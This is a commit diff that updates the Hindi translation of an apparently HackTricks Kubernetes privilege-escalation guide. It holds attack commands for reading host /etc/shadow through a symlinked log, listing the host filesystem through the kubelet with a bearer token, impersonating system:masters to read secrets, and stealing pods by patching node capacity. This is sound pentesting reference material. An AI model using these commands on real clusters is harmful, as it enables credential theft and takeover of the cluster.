mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 13:43:24 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-cosmosDB
This commit is contained in:
Translator
@@ -7,17 +7,17 @@
|
||||
|
||||
## **विशेषाधिकार वृद्धि**
|
||||
|
||||
इसका मतलब है **क्लस्टर के भीतर एक अलग प्रिंसिपल** तक **विभिन्न विशेषाधिकारों** के साथ पहुँच प्राप्त करना (कubernetes क्लस्टर के भीतर या बाहरी क्लाउड के लिए) जो आपके पास पहले से हैं, Kubernetes में विशेषाधिकार बढ़ाने के लिए मूल रूप से **4 मुख्य तकनीकें** हैं:
|
||||
इसका मतलब है **क्लस्टर के भीतर एक अलग प्रिंसिपल** तक **विभिन्न विशेषाधिकारों** के साथ पहुँच प्राप्त करना (क्लस्टर के भीतर या बाहरी क्लाउड के लिए) जो आपके पास पहले से हैं, Kubernetes में विशेषाधिकार बढ़ाने के लिए मूल रूप से **4 मुख्य तकनीकें** हैं:
|
||||
|
||||
- अन्य उपयोगकर्ता/समूह/SA को **प्रतिनिधित्व** करने में सक्षम होना जिनके पास kubernetes क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार हैं
|
||||
- **पॉड्स बनाना/पैच करना/कार्यक्रम चलाना** जहाँ आप **बेहतर विशेषाधिकारों वाले SAs** को खोज या संलग्न कर सकते हैं kubernetes क्लस्टर के भीतर या बाहरी क्लाउड में
|
||||
- **गुप्त पढ़ने** में सक्षम होना क्योंकि SAs टोकन गुप्त के रूप में संग्रहीत होते हैं
|
||||
- एक कंटेनर से **नोड पर भागने** में सक्षम होना, जहाँ आप नोड पर चल रहे कंटेनरों के सभी गुप्त, नोड के क्रेडेंशियल और नोड के क्लाउड में चलने के दौरान अनुमतियों को चुरा सकते हैं (यदि कोई हो)
|
||||
- एक पांचवीं तकनीक जिसका उल्लेख किया जाना चाहिए वह है **पॉड में पोर्ट-फॉरवर्ड** चलाने की क्षमता, क्योंकि आप उस पॉड के भीतर दिलचस्प संसाधनों तक पहुँच प्राप्त कर सकते हैं।
|
||||
- अन्य उपयोगकर्ता/समूह/SA को **प्रतिनिधित्व** करने में सक्षम होना जिनके पास Kubernetes क्लस्टर या बाहरी क्लाउड में बेहतर विशेषाधिकार हैं
|
||||
- **पॉड्स बनाना/पैच करना/कार्यक्रम चलाना** जहाँ आप **बेहतर विशेषाधिकार वाले SAs** को खोज या संलग्न कर सकते हैं
|
||||
- **गुप्त जानकारी पढ़ने** में सक्षम होना क्योंकि SAs के टोकन गुप्त जानकारी के रूप में संग्रहीत होते हैं
|
||||
- एक कंटेनर से **नोड पर भागने** में सक्षम होना, जहाँ आप नोड पर चल रहे कंटेनरों के सभी गुप्त जानकारी, नोड के क्रेडेंशियल्स, और नोड के क्लाउड में चलने के दौरान अनुमतियों को चुरा सकते हैं (यदि कोई हो)
|
||||
- एक पाँचवीं तकनीक जिसका उल्लेख किया जाना चाहिए वह है **पॉड में पोर्ट-फॉरवर्ड** चलाने की क्षमता, क्योंकि आप उस पॉड के भीतर दिलचस्प संसाधनों तक पहुँच प्राप्त कर सकते हैं।
|
||||
|
||||
### किसी भी संसाधन या क्रिया (वाइल्डकार्ड) तक पहुँच
|
||||
### किसी भी संसाधन या क्रिया (Wildcard) तक पहुँच
|
||||
|
||||
**वाइल्डकार्ड (\*) किसी भी क्रिया के साथ किसी भी संसाधन पर अनुमति देता है**। इसका उपयोग प्रशासकों द्वारा किया जाता है। एक ClusterRole के भीतर इसका मतलब है कि एक हमलावर क्लस्टर में किसी भीnamespace का दुरुपयोग कर सकता है।
|
||||
**वाइल्डकार्ड (\*) किसी भी संसाधन पर किसी भी क्रिया के लिए अनुमति देता है**। इसका उपयोग प्रशासकों द्वारा किया जाता है। एक ClusterRole के भीतर इसका मतलब है कि एक हमलावर क्लस्टर में किसी भी namespace का दुरुपयोग कर सकता है।
|
||||
```yaml
|
||||
apiVersion: rbac.authorization.k8s.io/v1
|
||||
kind: ClusterRole
|
||||
@@ -31,7 +31,7 @@ verbs: ["*"]
|
||||
```
|
||||
### किसी विशेष क्रिया के साथ किसी भी संसाधन तक पहुँचें
|
||||
|
||||
RBAC में, कुछ अनुमतियाँ महत्वपूर्ण जोखिम उत्पन्न करती हैं:
|
||||
RBAC में, कुछ अनुमतियाँ महत्वपूर्ण जोखिम प्रस्तुत करती हैं:
|
||||
|
||||
1. **`create`:** किसी भी क्लस्टर संसाधन को बनाने की क्षमता प्रदान करता है, जिससे विशेषाधिकार वृद्धि का जोखिम होता है।
|
||||
2. **`list`:** सभी संसाधनों की सूची बनाने की अनुमति देता है, संभावित रूप से संवेदनशील डेटा लीक कर सकता है।
|
||||
@@ -140,7 +140,7 @@ _आप पिछले विशेषाधिकार प्राप्त
|
||||
|
||||
### Pod Create - Move to cloud
|
||||
|
||||
यदि आप **create** कर सकते हैं एक **pod** (और वैकल्पिक रूप से एक **service account**) तो आप **cloud environment में विशेषाधिकार प्राप्त करने में सक्षम हो सकते हैं** एक पॉड या सेवा खाते को **क्लाउड भूमिकाएँ सौंपकर** और फिर इसे एक्सेस करके।\
|
||||
यदि आप **create** कर सकते हैं एक **pod** (और वैकल्पिक रूप से एक **service account**) तो आप **cloud environment में विशेषाधिकार प्राप्त करने में सक्षम हो सकते हैं** एक पॉड या सेवा खाते को **cloud roles सौंपकर** और फिर इसे एक्सेस करके।\
|
||||
इसके अलावा, यदि आप **host network namespace** के साथ एक **pod** बना सकते हैं, तो आप **node** इंस्टेंस की **IAM** भूमिका **चुरा** सकते हैं।
|
||||
|
||||
अधिक जानकारी के लिए जांचें:
|
||||
@@ -151,9 +151,9 @@ pod-escape-privileges.md
|
||||
|
||||
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
|
||||
|
||||
इन अनुमतियों का दुरुपयोग करके **एक नया पॉड** बनाना और पिछले उदाहरण की तरह विशेषाधिकार स्थापित करना संभव है।
|
||||
इन अनुमतियों का दुरुपयोग करके **एक नया pod** बनाना और पिछले उदाहरण की तरह विशेषाधिकार स्थापित करना संभव है।
|
||||
|
||||
निम्नलिखित yaml **एक डेमनसेट बनाता है और पॉड के अंदर SA के टोकन को एक्सफिल्ट्रेट करता है:**
|
||||
निम्नलिखित yaml **एक daemonset बनाता है और पॉड के अंदर SA के टोकन को एक्सफिल्ट्रेट करता है:**
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: DaemonSet
|
||||
@@ -205,13 +205,13 @@ kubectl port-forward pod/mypod 5000:5000
|
||||
```
|
||||
### Hosts Writable /var/log/ Escape
|
||||
|
||||
जैसा कि [**इस शोध में संकेतित किया गया है**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), यदि आप एक पॉड तक पहुँच सकते हैं या एक पॉड बना सकते हैं जिसमें **hosts `/var/log/` निर्देशिका माउंट की गई है**, तो आप **कंटेनर से बाहर निकल सकते हैं**।\
|
||||
यह मूल रूप से इस कारण है कि जब **Kube-API एक कंटेनर के लॉग प्राप्त करने की कोशिश करता है** (using `kubectl logs <pod>`), तो यह **पॉड के `0.log`** फ़ाइल को **Kubelet** सेवा के `/logs/` एंडपॉइंट का उपयोग करके अनुरोध करता है।\
|
||||
Kubelet सेवा `/logs/` एंडपॉइंट को उजागर करती है जो मूल रूप से **कंटेनर के `/var/log` फ़ाइल सिस्टम को उजागर कर रही है**।
|
||||
As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), यदि आप एक पॉड तक पहुँच सकते हैं या एक पॉड बना सकते हैं जिसमें **hosts `/var/log/` directory mounted** है, तो आप **container से escape कर सकते हैं**।\
|
||||
यह मूल रूप से इस कारण है कि जब **Kube-API एक container के logs प्राप्त करने की कोशिश करता है** (using `kubectl logs <pod>`), तो यह **pod के `0.log`** फ़ाइल को **Kubelet** सेवा के `/logs/` endpoint का उपयोग करके अनुरोध करता है।\
|
||||
Kubelet सेवा `/logs/` endpoint को उजागर करती है जो मूल रूप से **container के `/var/log` filesystem को उजागर कर रही है**।
|
||||
|
||||
इसलिए, एक हमलावर जिसके पास **कंटेनर के /var/log/ फ़ोल्डर में लिखने की पहुँच है** वह इस व्यवहार का दुरुपयोग 2 तरीकों से कर सकता है:
|
||||
इसलिए, एक हमलावर जिसके पास **container के /var/log/ folder में लिखने की पहुँच है** वह इस व्यवहार का दुरुपयोग 2 तरीकों से कर सकता है:
|
||||
|
||||
- अपने कंटेनर के `0.log` फ़ाइल को संशोधित करना (जो आमतौर पर `/var/logs/pods/namespace_pod_uid/container/0.log` में स्थित होता है) ताकि यह एक **सिंबलिंक हो जो `/etc/shadow`** की ओर इशारा करता हो। फिर, आप निम्नलिखित करके होस्ट का शैडो फ़ाइल निकालने में सक्षम होंगे:
|
||||
- अपने container के `0.log` फ़ाइल को संशोधित करना (जो आमतौर पर `/var/logs/pods/namespace_pod_uid/container/0.log` में स्थित होता है) ताकि यह एक **symlink हो जो `/etc/shadow`** की ओर इशारा करे। फिर, आप निम्नलिखित करके hosts shadow फ़ाइल को exfiltrate कर सकेंगे:
|
||||
```bash
|
||||
kubectl logs escaper
|
||||
failed to get parse function: unsupported log format: "root::::::::\n"
|
||||
@@ -219,7 +219,7 @@ kubectl logs escaper --tail=2
|
||||
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
|
||||
# Keep incrementing tail to exfiltrate the whole file
|
||||
```
|
||||
- यदि हमलावर के पास **`nodes/log`** को पढ़ने की **अनुमतियाँ** हैं, तो वह बस `/host-mounted/var/log/sym` में `/` के लिए एक **symlink** बना सकता है और जब **`https://<gateway>:10250/logs/sym/`** पर पहुँचता है, तो वह होस्ट की रूट फ़ाइल प्रणाली को सूचीबद्ध करेगा (symlink को बदलने से फ़ाइलों तक पहुँच मिल सकती है)।
|
||||
- यदि हमलावर के पास **`nodes/log` पढ़ने की अनुमति वाले किसी भी प्रिंसिपल पर नियंत्रण है**, तो वह बस `/host-mounted/var/log/sym` में `/` के लिए एक **symlink** बना सकता है और जब **`https://<gateway>:10250/logs/sym/` तक पहुंचता है, तो वह होस्ट के रूट** फ़ाइल सिस्टम को सूचीबद्ध करेगा (symlink को बदलने से फ़ाइलों तक पहुंच मिल सकती है)।
|
||||
```bash
|
||||
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
|
||||
<a href="bin">bin</a>
|
||||
@@ -295,9 +295,9 @@ name: task-pv-storage-vol
|
||||
```
|
||||
### **विशिष्ट खातों का अनुकरण करना**
|
||||
|
||||
एक [**उपयोगकर्ता अनुकरण**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) विशेषता के साथ, एक हमलावर एक विशेषाधिकार प्राप्त खाते का अनुकरण कर सकता है।
|
||||
With a [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) privilege, an attacker could impersonate a privileged account.
|
||||
|
||||
बस `kubectl` कमांड में `--as=<username>` पैरामीटर का उपयोग करें एक उपयोगकर्ता का अनुकरण करने के लिए, या `--as-group=<group>` का उपयोग करें एक समूह का अनुकरण करने के लिए:
|
||||
Just use the parameter `--as=<username>` in the `kubectl` command to impersonate a user, or `--as-group=<group>` to impersonate a group:
|
||||
```bash
|
||||
kubectl get pods --as=system:serviceaccount:kube-system:default
|
||||
kubectl get secrets --as=null --as-group=system:masters
|
||||
@@ -310,9 +310,9 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
|
||||
-H "Accept: application/json" \
|
||||
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
### Listing Secrets
|
||||
### Secrets की सूची बनाना
|
||||
|
||||
**गुप्त सूचनाओं की सूची बनाने की अनुमति एक हमलावर को वास्तव में गुप्त सूचनाओं को पढ़ने की अनुमति दे सकती है** REST API एंडपॉइंट तक पहुँचकर:
|
||||
**Secrets की सूची बनाने की अनुमति एक हमलावर को वास्तव में secrets पढ़ने की अनुमति दे सकती है** REST API endpoint तक पहुँचकर:
|
||||
```bash
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
@@ -382,7 +382,7 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
|
||||
|
||||
### एक secret पढ़ना – token IDs का brute-forcing
|
||||
|
||||
जब एक हमलावर के पास पढ़ने की अनुमति वाला token होता है, तो उसे इसका उपयोग करने के लिए secret का सही नाम चाहिए होता है, जबकि व्यापक _**secrets की सूची**_ विशेषता के विपरीत, अभी भी कमजोरियाँ हैं। सिस्टम में डिफ़ॉल्ट service accounts को सूचीबद्ध किया जा सकता है, प्रत्येक एक secret से संबंधित होता है। इन secrets का नाम संरचना होती है: एक स्थिर उपसर्ग उसके बाद एक यादृच्छिक पांच-चरित्र अल्फ़ान्यूमेरिक token (कुछ वर्णों को छोड़कर) [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) के अनुसार।
|
||||
जब एक हमलावर के पास पढ़ने की अनुमति वाला token होता है, तो उसे इसका उपयोग करने के लिए secret का सही नाम चाहिए होता है, जबकि व्यापक _**secrets की सूची**_ विशेषता के विपरीत, फिर भी कुछ कमजोरियाँ हैं। सिस्टम में डिफ़ॉल्ट service accounts को सूचीबद्ध किया जा सकता है, प्रत्येक एक secret से संबंधित होता है। इन secrets का नाम संरचना होती है: एक स्थिर उपसर्ग के बाद एक यादृच्छिक पांच-चरित्र अल्फ़ान्यूमेरिक token (कुछ वर्णों को छोड़कर) [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) के अनुसार।
|
||||
|
||||
यह token एक सीमित 27-चरित्र सेट (`bcdfghjklmnpqrstvwxz2456789`) से उत्पन्न होता है, न कि पूर्ण अल्फ़ान्यूमेरिक रेंज से। यह सीमा कुल संभावित संयोजनों को 14,348,907 (27^5) तक कम कर देती है। परिणामस्वरूप, एक हमलावर संभवतः कुछ घंटों में token का अनुमान लगाने के लिए एक brute-force हमला कर सकता है, जो संवेदनशील service accounts तक पहुँचने के द्वारा विशेषाधिकार वृद्धि की संभावना पैदा कर सकता है।
|
||||
|
||||
@@ -423,12 +423,12 @@ resourceNames:
|
||||
verbs:
|
||||
- approve
|
||||
```
|
||||
तो, नए नोड CSR के अनुमोदन के साथ, आप नोड्स की विशेष अनुमतियों का **दुरुपयोग** कर सकते हैं ताकि **गुप्त जानकारी चुराई जा सके** और **अधिकार बढ़ाए जा सकें**।
|
||||
तो, नए नोड CSR के अनुमोदित होने के साथ, आप नोड्स की विशेष अनुमतियों का **दुरुपयोग** कर सकते हैं ताकि **गुप्त जानकारी चुराई जा सके** और **अधिकार बढ़ाए जा सकें**।
|
||||
|
||||
[**इस पोस्ट**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) और [**इस एक**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) में GKE K8s TLS Bootstrap कॉन्फ़िगरेशन को **स्वचालित हस्ताक्षर** के साथ कॉन्फ़िगर किया गया है और इसका **दुरुपयोग** नए K8s नोड के क्रेडेंशियल्स उत्पन्न करने के लिए किया गया है और फिर उन पर अधिकार बढ़ाने के लिए गुप्त जानकारी चुराई गई है।\
|
||||
[**इस पोस्ट**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) और [**इस एक**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) में GKE K8s TLS Bootstrap कॉन्फ़िगरेशन को **स्वचालित हस्ताक्षर** के साथ कॉन्फ़िगर किया गया है और इसका **दुरुपयोग** नए K8s नोड के क्रेडेंशियल्स उत्पन्न करने के लिए किया गया है और फिर उन क्रेडेंशियल्स का दुरुपयोग करके गुप्त जानकारी चुराकर अधिकार बढ़ाए जाते हैं।\
|
||||
यदि आपके पास **उल्लेखित अधिकार हैं तो आप वही कर सकते हैं**। ध्यान दें कि पहला उदाहरण उस त्रुटि को बायपास करता है जो नए नोड को कंटेनरों के अंदर गुप्त जानकारी तक पहुँचने से रोकता है क्योंकि **नोड केवल उन कंटेनरों के गुप्त जानकारी तक पहुँच सकता है जो उस पर माउंट किए गए हैं।**
|
||||
|
||||
इसका बायपास करने का तरीका बस यह है कि **उस नोड नाम के लिए नोड क्रेडेंशियल्स बनाएं जहां दिलचस्प गुप्त जानकारी वाला कंटेनर माउंट किया गया है** (लेकिन पहले पोस्ट में इसे करने का तरीका देखें):
|
||||
इसका बायपास करने का तरीका बस यह है कि **उस नोड नाम के लिए नोड क्रेडेंशियल्स बनाएं जहां दिलचस्प गुप्त जानकारी वाला कंटेनर माउंट किया गया है** (लेकिन पहले पोस्ट में इसे कैसे करना है, यह केवल जांचें):
|
||||
```bash
|
||||
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
|
||||
```
|
||||
@@ -475,18 +475,18 @@ groups:
|
||||
- system:masters
|
||||
```
|
||||
> [!WARNING]
|
||||
> आप **`aws-auth`** का उपयोग **persistence** के लिए कर सकते हैं जिससे **अन्य खातों** के उपयोगकर्ताओं को पहुंच मिलती है।
|
||||
> आप **`aws-auth`** का उपयोग **स्थायीता** के लिए **अन्य खातों** के उपयोगकर्ताओं को पहुंच देने के लिए कर सकते हैं।
|
||||
>
|
||||
> हालाँकि, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **एक अलग खाते से काम नहीं करता**। लेकिन वास्तव में `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` काम करता है यदि आप केवल नाम के बजाय क्लस्टर का ARN डालते हैं।\
|
||||
> `kubectl` को काम करने के लिए, बस सुनिश्चित करें कि **victims kubeconfig** को **configure** किया गया है और aws exec args में `--profile other_account_role` जोड़ें ताकि kubectl अन्य खाते के प्रोफाइल का उपयोग करके टोकन प्राप्त कर सके और AWS से संपर्क कर सके।
|
||||
> `kubectl` को काम करने के लिए, बस सुनिश्चित करें कि **शिकारियों का kubeconfig** **कॉन्फ़िगर** किया गया है और aws exec args में `--profile other_account_role` जोड़ें ताकि kubectl अन्य खाते के प्रोफ़ाइल का उपयोग करके टोकन प्राप्त कर सके और AWS से संपर्क कर सके।
|
||||
|
||||
### GKE में वृद्धि
|
||||
### GKE में वृद्धि करना
|
||||
|
||||
GCP प्रिंसिपलों को K8s अनुमतियाँ असाइन करने के **2 तरीके** हैं। किसी भी मामले में प्रिंसिपल को क्लस्टर तक पहुँचने के लिए **`container.clusters.get`** अनुमति की भी आवश्यकता होती है, या आपको **अपना खुद का kubectl config फ़ाइल** **जनरेट** करने की आवश्यकता होगी (अगले लिंक का पालन करें)।
|
||||
GCP प्रिंसिपलों को K8s अनुमतियाँ असाइन करने के **2 तरीके** हैं। किसी भी मामले में प्रिंसिपल को क्लस्टर तक पहुँचने के लिए क्रेडेंशियल्स एकत्र करने के लिए अनुमति **`container.clusters.get`** की आवश्यकता होती है, या आपको **अपना खुद का kubectl कॉन्फ़िग फ़ाइल** **जनरेट** करने की आवश्यकता होगी (अगले लिंक का पालन करें)।
|
||||
|
||||
> [!WARNING]
|
||||
> K8s एपीआई एंडपॉइंट से बात करते समय, **GCP auth token भेजा जाएगा**। फिर, GCP, K8s एपीआई एंडपॉइंट के माध्यम से, पहले **जांच करेगा कि प्रिंसिपल** (ईमेल द्वारा) **क्लस्टर के अंदर कोई पहुँच है**, फिर यह जांचेगा कि क्या इसके पास **GCP IAM के माध्यम से कोई पहुँच है**।\
|
||||
> यदि **कोई भी** इनमें से **सत्य** है, तो उसे **उत्तर दिया जाएगा**। यदि **नहीं** तो **GCP IAM के माध्यम से अनुमतियाँ देने** का सुझाव देने वाला एक **त्रुटि** दिया जाएगा।
|
||||
> K8s एपीआई एंडपॉइंट से बात करते समय, **GCP ऑथ टोकन भेजा जाएगा**। फिर, GCP, K8s एपीआई एंडपॉइंट के माध्यम से, पहले **जांच करेगा कि प्रिंसिपल** (ईमेल द्वारा) **क्लस्टर के अंदर कोई पहुंच है**, फिर यह जांचेगा कि क्या इसकी **GCP IAM के माध्यम से कोई पहुंच है**।\
|
||||
> यदि इनमें से **कोई भी** **सत्य** है, तो उसे **उत्तर दिया जाएगा**। यदि **नहीं** तो **GCP IAM के माध्यम से अनुमतियाँ देने** का सुझाव देने वाला एक **त्रुटि** दिया जाएगा।
|
||||
|
||||
फिर, पहला तरीका **GCP IAM** का उपयोग करना है, K8s अनुमतियों के अपने **समकक्ष GCP IAM अनुमतियाँ** हैं, और यदि प्रिंसिपल के पास यह है, तो वह इसका उपयोग कर सकेगा।
|
||||
|
||||
@@ -502,7 +502,7 @@ GCP प्रिंसिपलों को K8s अनुमतियाँ अ
|
||||
|
||||
### ephemeralcontainers
|
||||
|
||||
प्रिंसिपल जो **`update`** या **`patch`** **`pods/ephemeralcontainers`** कर सकते हैं, वे **अन्य पॉड्स पर कोड निष्पादन प्राप्त कर सकते हैं**, और संभावित रूप से **अपने नोड से बाहर निकल सकते हैं** एक विशेषाधिकार प्राप्त securityContext के साथ एक अस्थायी कंटेनर जोड़कर।
|
||||
प्रिंसिपल जो **`update`** या **`patch`** **`pods/ephemeralcontainers`** कर सकते हैं, वे **अन्य पॉड्स पर कोड निष्पादित** कर सकते हैं, और संभावित रूप से **अपने नोड से बाहर** निकल सकते हैं एक विशेषाधिकार प्राप्त securityContext के साथ एक अस्थायी कंटेनर जोड़कर।
|
||||
|
||||
### ValidatingWebhookConfigurations या MutatingWebhookConfigurations
|
||||
|
||||
@@ -510,24 +510,24 @@ GCP प्रिंसिपलों को K8s अनुमतियाँ अ
|
||||
|
||||
एक [`mutatingwebhookconfigurations` उदाहरण के लिए इस पोस्ट के इस अनुभाग की जाँच करें](#malicious-admission-controller)।
|
||||
|
||||
### वृद्धि
|
||||
### वृद्धि करना
|
||||
|
||||
जैसा कि आप अगले अनुभाग में पढ़ सकते हैं: [**बिल्ट-इन प्रिविलेज़ वृद्धि रोकथाम**](#built-in-privileged-escalation-prevention), एक प्रिंसिपल नई अनुमतियों के बिना न तो भूमिकाएँ या क्लस्टर भूमिकाएँ अपडेट या बना सकता है। सिवाय इसके कि उसके पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate`** हो।\
|
||||
जैसा कि आप अगले अनुभाग में पढ़ सकते हैं: [**निर्मित विशेषाधिकार वृद्धि रोकथाम**](#built-in-privileged-escalation-prevention), एक प्रिंसिपल नई अनुमतियों के बिना भूमिकाएँ या क्लस्टर भूमिकाएँ न तो अपडेट कर सकता है और न ही बना सकता है। सिवाय इसके कि उसके पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate`** हो।\
|
||||
तब वह नई भूमिकाएँ, क्लस्टर भूमिकाएँ बेहतर अनुमतियों के साथ अपडेट/बना सकता है जो उसके पास हैं।
|
||||
|
||||
### नोड्स प्रॉक्सी
|
||||
|
||||
प्रिंसिपल जिनके पास **`nodes/proxy`** उपसंसाधन तक पहुँच है, वे Kubelet API के माध्यम से **पॉड्स पर कोड निष्पादन कर सकते हैं** (अनुसार [**यहाँ**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))। Kubelet प्रमाणीकरण के बारे में अधिक जानकारी इस पृष्ठ पर:
|
||||
प्रिंसिपल जिनके पास **`nodes/proxy`** उपसंसाधन तक पहुँच है, वे Kubelet API के माध्यम से **पॉड्स पर कोड निष्पादित** कर सकते हैं (अनुसार [**यहाँ**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego))। Kubelet प्रमाणीकरण के बारे में अधिक जानकारी इस पृष्ठ पर:
|
||||
|
||||
{{#ref}}
|
||||
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
आपके पास [**Kubelet API से अधिकृत बात करने के लिए RCE प्राप्त करने का एक उदाहरण यहाँ है**](../pentesting-kubernetes-services/index.html#kubelet-rce)।
|
||||
आपके पास [**Kubelet API से अधिकृत बात करने पर RCE प्राप्त करने का एक उदाहरण यहाँ है**](../pentesting-kubernetes-services/index.html#kubelet-rce)।
|
||||
|
||||
### पॉड्स हटाना + अस्थायी नोड्स
|
||||
|
||||
प्रिंसिपल जो **पॉड्स को हटा सकते हैं** (`pods` संसाधन पर `delete` क्रिया), या **पॉड्स को निष्कासित कर सकते हैं** (`pods/eviction` संसाधन पर `create` क्रिया), या **पॉड स्थिति बदल सकते हैं** (पॉड्स/स्थिति तक पहुँच) और **अन्य नोड्स को अस्थायी बना सकते हैं** (नोड्स/स्थिति तक पहुँच) या **नोड्स को हटा सकते हैं** (`nodes` संसाधन पर `delete` क्रिया) और एक पॉड पर नियंत्रण रखते हैं, वे **अन्य नोड्स से पॉड्स चुरा सकते हैं** ताकि वे **समझौता किए गए** **नोड** में **निष्पादित** हों और हमलावर उन पॉड्स से **टोकन चुरा सके**।
|
||||
प्रिंसिपल जो **पॉड्स को हटा सकते हैं** (`pods` संसाधन पर `delete` क्रिया), या **पॉड्स को निष्कासित कर सकते हैं** (`pods/eviction` संसाधन पर `create` क्रिया), या **पॉड स्थिति बदल सकते हैं** (access to `pods/status`) और **अन्य नोड्स को अस्थायी बना सकते हैं** (access to `nodes/status`) या **नोड्स को हटा सकते हैं** (`nodes` संसाधन पर `delete` क्रिया) और एक पॉड पर नियंत्रण रखते हैं, वे **अन्य नोड्स से पॉड्स चुरा सकते हैं** ताकि वे **समझौता किए गए** **नोड** में **निष्पादित** हों और हमलावर उन पॉड्स से **टोकन चुरा सके**।
|
||||
```bash
|
||||
patch_node_capacity(){
|
||||
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
|
||||
@@ -540,39 +540,39 @@ kubectl delete pods -n kube-system <privileged_pod_name>
|
||||
```
|
||||
### Services status (CVE-2020-8554)
|
||||
|
||||
प्रिंसिपल जो **`services/status`** को **संशोधित** कर सकते हैं, वे `status.loadBalancer.ingress.ip` फ़ील्ड को **अनफिक्स्ड CVE-2020-8554** का लाभ उठाने के लिए सेट कर सकते हैं और **क्लस्टर के खिलाफ MiTM हमले** शुरू कर सकते हैं। CVE-2020-8554 के लिए अधिकांश निवारण केवल ExternalIP सेवाओं को रोकते हैं (अनुसार [**यह**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego))।
|
||||
Principals that can **modify** **`services/status`** may set the `status.loadBalancer.ingress.ip` field to exploit the **unfixed CVE-2020-8554** and launch **MiTM attacks against the cluster**. Most mitigations for CVE-2020-8554 only prevent ExternalIP services (according to [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
|
||||
|
||||
### Nodes and Pods status
|
||||
|
||||
प्रिंसिपल जिनके पास `nodes/status` या `pods/status` पर **`update`** या **`patch`** अनुमतियाँ हैं, वे लेबल को संशोधित कर सकते हैं ताकि लागू किए गए शेड्यूलिंग प्रतिबंधों को प्रभावित किया जा सके।
|
||||
Principals with **`update`** or **`patch`** permissions over `nodes/status` or `pods/status`, could modify labels to affect scheduling constraints enforced.
|
||||
|
||||
## Built-in Privileged Escalation Prevention
|
||||
|
||||
Kubernetes में विशेषाधिकार वृद्धि को रोकने के लिए एक [बिल्ट-इन तंत्र](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) है।
|
||||
Kubernetes has a [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) to prevent privilege escalation.
|
||||
|
||||
यह प्रणाली सुनिश्चित करती है कि **उपयोगकर्ता भूमिकाओं या भूमिका बाइंडिंग को संशोधित करके अपने विशेषाधिकारों को बढ़ा नहीं सकते**। इस नियम का प्रवर्तन API स्तर पर होता है, जो RBAC प्राधिकर्ता के निष्क्रिय होने पर भी सुरक्षा प्रदान करता है।
|
||||
This system ensures that **users cannot elevate their privileges by modifying roles or role bindings**. The enforcement of this rule occurs at the API level, providing a safeguard even when the RBAC authorizer is inactive.
|
||||
|
||||
नियम stipulates करता है कि **एक उपयोगकर्ता केवल तभी एक भूमिका बना या अपडेट कर सकता है जब उसके पास भूमिका में शामिल सभी अनुमतियाँ हों**। इसके अलावा, उपयोगकर्ता की मौजूदा अनुमतियों का दायरा उस भूमिका के दायरे के साथ मेल खाना चाहिए जिसे वे बनाने या संशोधित करने का प्रयास कर रहे हैं: या तो ClusterRoles के लिए क्लस्टर-व्यापी या Roles के लिए उसी namespace (या क्लस्टर-व्यापी) में।
|
||||
The rule stipulates that a **user can only create or update a role if they possess all the permissions the role comprises**. Moreover, the scope of the user's existing permissions must align with that of the role they are attempting to create or modify: either cluster-wide for ClusterRoles or confined to the same namespace (or cluster-wide) for Roles.
|
||||
|
||||
> [!WARNING]
|
||||
> पिछले नियम का एक अपवाद है। यदि एक प्रिंसिपल के पास **`roles`** या **`clusterroles`** पर **क्रिया `escalate`** है, तो वह स्वयं अनुमतियाँ न होने पर भी भूमिकाओं और क्लस्टर भूमिकाओं के विशेषाधिकार बढ़ा सकता है।
|
||||
> There is an exception to the previous rule. If a principal has the **verb `escalate`** over **`roles`** or **`clusterroles`** he can increase the privileges of roles and clusterroles even without having the permissions himself.
|
||||
|
||||
